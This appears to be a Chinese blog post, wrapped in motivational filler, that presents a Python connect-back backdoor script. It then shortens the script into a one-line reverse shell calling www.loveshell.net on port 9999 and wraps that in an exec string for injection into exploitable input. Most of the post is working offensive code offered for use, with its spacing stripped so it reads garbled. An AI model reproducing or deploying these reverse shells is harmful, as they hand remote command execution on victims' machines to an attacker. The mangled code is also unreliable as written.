每件事情都必须有一个期限,否则,大多数人都会有多少时间就花掉多少时间。积极的人在每一次忧患中都看到一个机会,而消极的人则在每个机会都看到某种忧患。
不知道怎么忽然想看这个,呵呵 小我的python的反shell的代码
#!/usr/bin/python
#PythonConnect-backBackdoor
#Author:wofeiwo<wofeiwo[0x40]gmail[0x2e]com>
#Version:1.0
#Date:July15th2006 importsys
importos
importsocket
shell="/bin/sh" defusage(programname):
print"PythonConnect-backBackdoor"
print"Auther:wofeiwo<wofeiwo[0x40]gmail[0x2e]com>"
print"Date:July15th2006\n"
print"Usage:%s<conn_back_host><port>\n"%programname defmain():
iflen(sys.argv)!=3:
usage(sys.argv[0])
sys.exit(1) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print"[+]Connectok."
except:
print"[-]Couldnotconnectto%s:%s"%(sys.argv[1],sys.argv[2])
sys.exit(2)
s.send("--------------------PythonConnect-backBackdoor--------------------\n")
s.send("-----------------------------Bywofeiwo-----------------------------\n")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
globalshell
os.system(shell)
print"SeeU!"
s.close() if__name__=="__main__":main() 用在漏洞利用的时候不太好,不是么?我们想要短点的,节省下就是 importsys;importos;importsocket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcomemymaster\r\n");os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);s.send("Isthereashell?\r\n");os.system("/bin/bash");s.close();s.send("Seeunexttime!\r\n");
如何?很短了吧?
不过很可能漏洞利用的地方不允许多语句,譬如允许的输入是在eval当中,不能多语句(后面有解释)那么还可以变化下
exec'importsys;importos;importsocket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcomemymaster\\r\\n");os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);s.send("Isthereashell?\\r\\n");os.system("/bin/bash");s.close();s.send("Seeunexttime!\\r\\n");';
注意是\\r\\n哦,即使在''里好象\r\n一样会成为换行,所以其实这里即使不用;一样可以构造好代码的,另外,为什么不用eval呢?
翻了下手册
exec语句用来执行储存在字符串或文件中的Python语句。例如,我们可以在运行时生成一个包含Python代码的字符串,然后使用exec语句执行这些语句 eval语句用来计算存储在字符串中的有效Python表达式 呵呵,这里用eval好象会出错.
YY一下,思想是相同的,但是具体到语言又是不一样的,如何跳出语言的限制呢?是个问题......
本文在漏洞利用Python代码真的很爽到此结束。用微笑来证明你自己,我可以!小编再次感谢大家对我们的支持!